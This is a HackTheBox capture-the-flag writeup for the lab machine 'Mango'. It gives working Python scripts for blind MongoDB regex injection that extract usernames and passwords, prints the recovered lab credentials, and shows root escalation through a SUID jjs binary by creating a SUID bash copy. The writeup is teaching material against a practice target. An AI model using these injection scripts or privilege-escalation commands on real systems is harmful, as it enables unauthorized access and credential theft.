HTB: Mango Writeup

Mango - HackTheBox Writeup

Machine Information

AttributeDetails
NameMango
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.10.162
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Mango is a medium-difficulty Linux box that demonstrates real-world NoSQL injection vulnerabilities in MongoDB-backed web applications. The machine requires careful enumeration to identify the correct virtual host serving the vulnerable login form, followed by blind NoSQL injection to extract credentials. Initial access is gained via SSH, with lateral movement to another user through credential reuse. Privilege escalation leverages a SUID-enabled Java scripting binary to achieve root access.

TL;DR: Virtual host enumeration → NoSQL (MongoDB) blind injection for credential extraction → SSH as mango → lateral movement to admin via su → SUID jjs exploitation → root shell


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.10.10.162

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29
443/tcp open ssl/http Apache httpd 2.4.29

Service Enumeration

SSL Certificate Analysis

The TLS certificate on port 443 revealed an important piece of information:

Terminal window
# Examine SSL certificate
openssl s_client -connect 10.10.10.162:443 | openssl x509 -noout -text

The certificate’s Common Name (CN) was staging-order.mango.htb, indicating the presence of virtual hosts. Two hostnames were added to /etc/hosts:

Terminal window
echo "10.10.10.162 mango.htb staging-order.mango.htb" >> /etc/hosts

Virtual Host Enumeration

This was the critical enumeration step. Testing revealed:

  • Port 443 (all vhosts): Served a “Search Base” decoy page that accepted but ignored login parameters
  • Port 80 / mango.htb: Returned HTTP 403 Forbidden
  • Port 80 / staging-order.mango.htb: Hosted the actual login application
Terminal window
# Test different vhost/port combinations
curl -I http://mango.htb/
# 403 Forbidden
curl -I http://staging-order.mango.htb/
# 200 OK - login page found
curl -I https://staging-order.mango.htb/
# 200 OK - decoy search page (identical to mango.htb:443)

The real vulnerability existed only at http://staging-order.mango.htb/ on port 80.

Vulnerability Assessment

The login form at http://staging-order.mango.htb/ was found to be vulnerable to:

  • NoSQL Injection (MongoDB): The application used MongoDB as its backend database and failed to properly sanitize user input, allowing injection of MongoDB query operators through PHP’s array syntax
  • Blind Boolean-Based Injection: The application’s response codes (302 for success, 200 for failure) provided an oracle for extracting data character by character

Initial Foothold

NoSQL Injection Exploitation

Understanding the Vulnerability

MongoDB uses JSON-like query syntax. A typical authentication query looks like:

db.users.find({ username: "admin", password: "password123" });

PHP’s bracket notation (username[$ne]) converts parameters into arrays, which MongoDB drivers interpret as query operators. The $ne (not equal) operator can bypass authentication:

db.users.find({ username: "admin", password: { $ne: "admin" } });
// Returns true if password != "admin"

Identifying the Oracle

Testing revealed the injection oracle:

Terminal window
# Failed login - returns 200 OK
curl -X POST http://staging-order.mango.htb/ \
-d "username=admin&password=wrong&login=login" \
-L -s -o /dev/null -w "%{http_code}\n"
# Output: 200
# Successful injection - returns 302 redirect
curl -X POST http://staging-order.mango.htb/ \
-d "username=admin&password[\$ne]=admin&login=login" \
-L -s -o /dev/null -w "%{http_code}\n"
# Output: 302

Key insight: HTTP status code 302 (redirect to home.php) = successful authentication; HTTP 200 = failed authentication. Response body sizes were identical, making status codes the only reliable signal.

Username Enumeration

Using the $regex operator to enumerate usernames:

#!/usr/bin/env python3
# username_enum.py - Discover usernames via regex injection
import requests
from string import ascii_lowercase
url = 'http://staging-order.mango.htb/'
# Find valid starting characters
for char in ascii_lowercase:
data = {
'username[$regex]': f'^{char}.*',
'password[$ne]': 'invalid',
'login': 'login'
}
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
print(f"[+] Found username starting with: {char}")

This identified usernames starting with a and m. Further refinement extracted complete usernames:

# Full username extraction
def extract_username(starting_char, valid_chars):
username = starting_char
while True:
found_char = None
for char in valid_chars:
data = {
'username[$regex]': f'^{username}{char}.*',
'password[$ne]': 'invalid',
'login': 'login'
}
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
username += char
found_char = char
break
if not found_char:
return username
# Extract both usernames
valid_chars = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
admin_user = extract_username('a', valid_chars) # admin
mango_user = extract_username('m', valid_chars) # mango

Usernames discovered: admin and mango

Password Extraction

Passwords required an expanded character set beyond lowercase letters. The agent’s solve noted that passwords contained special characters including ~, {, }, #, !, and >:

#!/usr/bin/env python3
# password_extract.py - Extract passwords character by character
import requests
import string
url = 'http://staging-order.mango.htb/'
# Expanded charset including special characters
# Regex special chars need escaping: ^ $ | \ .
printable_chars = string.printable.replace('\n', '').replace('\r', '').replace('\t', '').replace(' ', '')
def escape_regex_chars(char):
"""Escape characters with special meaning in regex"""
special = ['^', '$', '|', '\\', '.', '[', ']', '(', ')', '*', '+', '?', '{', '}']
if char in special:
return '\\' + char
return char
def extract_password(username):
password = ''
while True:
found_char = None
for char in printable_chars:
escaped_char = escape_regex_chars(char)
escaped_password = ''.join(escape_regex_chars(c) for c in password)
data = {
'username': username,
'password[$regex]': f'^{escaped_password}{escaped_char}.*',
'login': 'login'
}
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
password += char
print(f"[+] Password so far: {password}")
found_char = char
break
if not found_char:
return password
# Extract passwords
mango_password = extract_password('mango') # h3mXK8RhU~f{]f5H
admin_password = extract_password('admin') # t9KcS3>!0B#2

Credentials extracted:

  • mango : h3mXK8RhU~f{]f5H
  • admin : t9KcS3>!0B#2

SSH Access

Terminal window
# Authenticate as mango
ssh mango@10.10.10.162
# Password: h3mXK8RhU~f{]f5H
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)

Foothold established as user mango.


Privilege Escalation

Lateral Movement: mango → admin

The user flag was located in /home/admin/user.txt, inaccessible to the mango user:

Terminal window
mango@mango:~$ ls -la /home/admin/user.txt
-r-------- 1 admin admin 33 Apr 14 2020 /home/admin/user.txt

Switching to admin User

The extracted admin credentials could be used via su:

Terminal window
mango@mango:~$ su admin
Password: t9KcS3>!0B#2

Note: The agent’s solve mentioned needing a PTY for the su command to work properly in their environment. If running through a non-interactive shell, a PTY can be spawned using:

# If needed for non-interactive shells
python3 -c 'import pty; pty.spawn("/bin/bash")'

After successful lateral movement:

Terminal window
admin@mango:~$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
admin@mango:~$ cat user.txt
<redacted>

User flag captured.

Privilege Escalation: admin → root

SUID Binary Discovery

Terminal window
# Search for SUID binaries
admin@mango:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/umount

The binary /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs stood out as unusual. This is the Nashorn JavaScript engine for Java.

Exploiting SUID jjs (GTFOBins)

According to GTFOBins, jjs can execute arbitrary commands when run with SUID privileges. The key is that SUID binaries retain their effective UID (root in this case).

Why this works:

  • jjs is a Java-based scripting engine that can call Java’s Runtime.exec()
  • When a binary has the SUID bit set and is owned by root, it runs with euid=0 (effective root privileges)
  • Java’s security model respects the process’s effective UID, allowing privileged operations

The agent used Java NIO to read files directly:

Terminal window
admin@mango:~$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
jjs> Java.type('java.nio.file.Files').readAllLines(Java.type('java.nio.file.Paths').get('/root/root.txt')).toArray()
[<redacted>]

Alternative root shell method (from GTFOBins):

// Create a SUID shell
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/rootbash').waitFor()
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/rootbash').waitFor()
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +x /tmp/rootbash').waitFor()

Then execute the SUID bash shell:

Terminal window
admin@mango:~$ /tmp/rootbash -p
rootbash-4.4# id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
rootbash-4.4# cat /root/root.txt
<redacted>

Root flag captured.


Attack Chain Summary

Virtual Host Enumeration (staging-order.mango.htb:80)
→ NoSQL Injection via $regex (blind boolean-based)
→ Username Enumeration (admin, mango)
→ Password Extraction (char-by-char with special chars)
→ SSH as mango (h3mXK8RhU~f{]f5H)
→ Lateral Movement to admin (t9KcS3>!0B#2)
→ SUID jjs Exploitation (GTFOBins)
→ Root Shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
opensslSSL certificate analysis for vhost discovery
curlHTTP request testing and vhost validation
python3Custom NoSQL injection scripts for credential extraction
sshRemote access after credential discovery
jjsSUID Java scripting engine exploited for privilege escalation

Key Learnings

Techniques Practiced

  • Virtual host enumeration: Testing multiple hostname/port combinations to find hidden services
  • NoSQL injection in MongoDB: Leveraging MongoDB query operators ($ne, $regex) through PHP array syntax
  • Blind boolean-based injection: Using HTTP status codes as an oracle for data exfiltration
  • Regex-based data extraction: Character-by-character enumeration with proper escaping of special characters
  • Lateral movement: Credential reuse across different user accounts
  • SUID binary exploitation: Leveraging GTFOBins techniques for privilege escalation via scripting engines

Lessons Learned

  1. Complete enumeration is critical: The actual vulnerable service (staging-order.mango.htb:80) was easily overlooked. Port 443 served identical-looking decoy pages across all vhosts, making thorough vhost/port combination testing essential.

  2. NoSQL injection syntax varies by language: PHP’s bracket notation (parameter[$operator]) automatically creates arrays that MongoDB drivers interpret as query operators. This differs from traditional SQL injection and requires understanding of both the application language and the database query language.

  3. Character set matters in blind injection: Initial attempts with only lowercase letters failed. Passwords containing special characters (~{}#!>) required an expanded character set and proper regex escaping to extract successfully.

  4. Oracle identification is key to blind injection: When response bodies are identical, alternative signals (status codes, timing, header differences) become critical for data exfiltration.

  5. SUID binaries with scripting capabilities are dangerous: Any SUID binary that can execute arbitrary code (scripting engines, compilers, interpreters) can be leveraged for privilege escalation. The jjs JavaScript/Java engine retained effective root privileges, allowing file reads and command execution.

  6. GTFOBins is an essential reference: Many SUID binaries have documented exploitation techniques. Always check GTFOBins when unusual SUID binaries are discovered.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References